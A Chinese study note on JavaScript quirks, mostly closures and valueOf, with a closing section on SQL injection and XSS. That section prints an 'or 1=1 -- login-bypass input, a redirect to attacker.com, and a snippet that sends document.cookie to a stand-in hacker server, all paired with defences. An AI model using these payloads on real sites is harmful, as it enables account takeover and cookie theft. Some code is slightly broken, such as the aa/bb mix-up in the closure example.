1. 用var
定义的变量,在二次声明却未赋值时,该变量的值还是第一个定义的值
var a=3;
var a;
console.log(a);//3
2. valueOf
方法的使用
undefined
和null
没有valueOf
方法,使用会报错。- 布尔类型会返回原值:
true/false
- 字符串类型会返回原值
- 数字:
① 如果是整数,则需要用小括号将数字包起来再使用valueOf
方法,直接在数字后面跟valeuOf
会报错。
② 如果是小数,可以直接调用valueOf
方法- 对象
Object
类型及自定义对象类型会返回源对象(注意花括号可能会被当做代码块的问题)- 函数
function
类型会返回原函数- 数组
Array
类型返回原数组Date
对象类型返回数字(1970年1月1日00:00:00至现在的毫秒数);- 正则表达式类型返回正则对象。
//在做加法时,在对象被强制转换成数字时会调用其valueOf方法
let i = 1+{
valueOf(){
return 9;
}
}
3. forEach
、map
方法的执行是会跳过非有效值(即未初始化的值,如果直接给一个元素设置为null
和undfined
,其仍被视为有效值)
let arr = new Array(10);
let i = 0;
arr.forEach((val,index)=>{
i++;
})
console.log(i)//0
let arr = [1,undefined,null,34,3];
var i = 0;
arr.forEach((val,index)=>{
i++;
})
console.log(i)//5
4. js
的保留字
5. ({}+'b'>{}+'a')
的返回值是?
{}
在if
判断时被视为true
- 如果不带
()
,{}
在首位会被解释为代码段,而非空对象。只有在非首位的地方,{}
才会被解释为空对象{}+'b'==[object Object]b
,{}+'a'==[object Object]a
,由于+
的优先级大于>
,故先算>
两侧的加法,故最终是两个字符串进行比较大小,对字符串每一位的ascii
码依次进行比较,直到遇到不相等的字符。故最终返回值为true
6. js
中的符号优先级
从高到低
7.
js
中1/0
为Infinity
,1/-0
为-Infinity
,不会报错。isNaN(1/0)
值为false
,但是0/0
的结果为NAN
,故isNaN(0/0)
结果为true
8.
hasOwnProperty('val')
:判断obj
对象是否有val
属性,并不检查原型链。isPrototypeof
:判断原型链的对象是否存在指定的属性,并不检查obj
对象本身
9. js预解析机制
10. 闭包
11. 自执行函数理论上也是一个闭包
- 很多情况下,可以利用自执行函数和闭包来保存某个特殊状态中的值
- 由于作用域链的配置机制,使得闭包只能取得包含函数中任何变量的最后一个值。即说明了闭包中所保存的是整个活动对象,而不是某一个特殊的变量
- 在这个函数中,我们直接将闭包赋值给数组。这个函数会返回一个函数数组。表面上来看,似乎每个函数都应该返回自己的索引,即位置0的函数返回0,位置1的函数返回1一次类推。但实际上,如同下面例子,每个函数都返回了10。因为每个函数的作用域链中都保存
createFunctions()
函数的活动对象,所以它们引用的都是同一个变量i
。当createFunctions()
函数返回后,变量i
的值是10,此时每个函数都引用着保存变量i
的同一个活动对象。所以在每个函数内部i
的值都是10。 - 从另一个角度来看,当执行
result[i]
函数时,会进行预解析,对var
、function
以及参数
进行存储。如果没有,则会沿着作用域链向上寻找变量的值。对于result[i]
,他们向上寻找变量的值时都找到了i=10
,故返回的i
也为10。结合上一点分析,由于保存的是createFunctions()
函数的活动对象,故没一个函数引用的是该活动对象中的同一个i
,故输出值相同。
function createFunction() {
var result = new Array();
for( var i = 0; i<10; i++) {
result[i] = function() {
return i;
};
}
return result;
}
var aa = createFunction();
alert(aa[0]()); //10
alert(aa[1]()); //10
-
我们可以通过如下例子,创建一个自执行函数(匿名函数)强制让闭包的行为符合预期。
-
在该例中,我们没有直接将闭包赋值给数组,而是定义了一个匿名函数,并将立即执行该匿名函数的结果赋值给数组。在调用每个匿名函数时,我们传入了变量
i
。由于函数是按值传递的,所以会将变量i
的当前值赋值给参数num
,而这个匿名函数内部,又创建并返回了一个返回num
的闭包。这样一来,result
数组中的每个函数都有自己num
的一个副本,因此就可以返回各自不同的数值了。 -
用另一种方式解释:当执行自执行函数时,将
i
当做参数传递给num
,故每个自执行函数的num
值时不同的。当执行result[i]
时,会沿着作用域链去寻找num
值,故最终返回的num
值都是不同的。
function createFunction() {
var result = new Array();
for( var i = 0; i<10; i++) {
result[i] = function(num) {
return function() {
return num;
};
}(i);
}
return result;
}
var bb = createFunction();
alert(aa[0]()); //0
alert(aa[1]()); //1
12. 不支持冒泡的事件
mouseleave
mouseenter
load
unload
resize
focus
blur
13. xss攻击和SQL注入攻击
① SQL
注入攻击
- 注入式攻击。这种攻击是因为在项目中没有将代码与数据(比如用户敏感数据)隔离,在读取数据的时候,错误的将数据作为代码的一部分执行而导致的。
- 典型的例子就是当对SQL语句进行字符串拼接的时候,直接使用未转义的用户输入内容作为变量。这时,只要在sql语句的中间做修改,比如加上drop、delete等关键字,执行之后后果不堪设想。
String sql = "select * from user_table where username=' "+userName+" ' and password=' "+password+" ' "
当用户输入的账号为'or 1 = 1 --
,密码为空时会出现下面的情况
String sql = "select * from user_table where username=' ' or 1=1 -- and password='' "
由于在sql
语句中1=1
代表一直为true
,所以这条sql
语句会允许用户登录成功。(在sql语句中–代表注释,故后面的语句被注释掉)
解决
- 对sql语句进行预编译: 对sql语句进行预编译实际上是让系统能够正确识别代码和参数。在未预编译前,sql语句和参数当做普通的拼接字符串来识别,在预编译后,参数中的关键字不会被识别,即即便参数中有关键字也只是把它当做参数来解释,而非sql语句的一部分。
xss
攻击
xss
:跨站脚本攻击。xss
是指通过技术手段,往Web
页面里插入恶意Script
代码,当用户浏览该页之时,嵌入其中Web
里面的Script
代码会被执行,从而达到恶意攻击用户的目的。xss
漏洞通常是通过php
的输出函数将javascript代码输出到html
页面中,通过用户本地浏览器执行的,所以xss
漏洞关键就是寻找参数未过滤的输出函数。xss
包含反射型攻击、存储型攻击和DOM型XSS
反射型攻击
- 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
- 在下图中,当用户登录了后,攻击者将他准备的url提交给客户,引诱用户点击该url,当该目标服务器对该url地址做出回应后,在客户浏览器端,特有的恶意代码会被解析、执行。
存储型攻击
- 存储型XSS也被称为持久型XSS(persistent XSS),这种类型的XSS攻击更常见,危害也更大。它和反射型XSS类似,不过会把攻击代码存储到数据库中,任何用户访问包含攻击代码的页面都会被殃及。
- 比如,某个网站通过表单接收用户的留言,如果服务器接收数据后未经处理就存储到数据库中,那么用户可以在留言中输入任意javaScript代码。比如攻击者在留言中加入一行重定向代码:
<script>window.location.href=”http://attacker.com”;<script>
。其他任意用户一旦访问关于这条留言的页面,包含这条留言的数据就会被浏览器解析,就会执行其中的javaScript脚本。那么这个用户所在页面就会被重定向到攻击者写入的站点。
后果:(参考链接:xss攻击)
① 窃取cookies,读取目标网站的cookie发送到黑客的服务器上
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
② 黑客通过获取到的用户的会话令牌,读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
解决
① 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤
② 过滤用户输入的,检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出。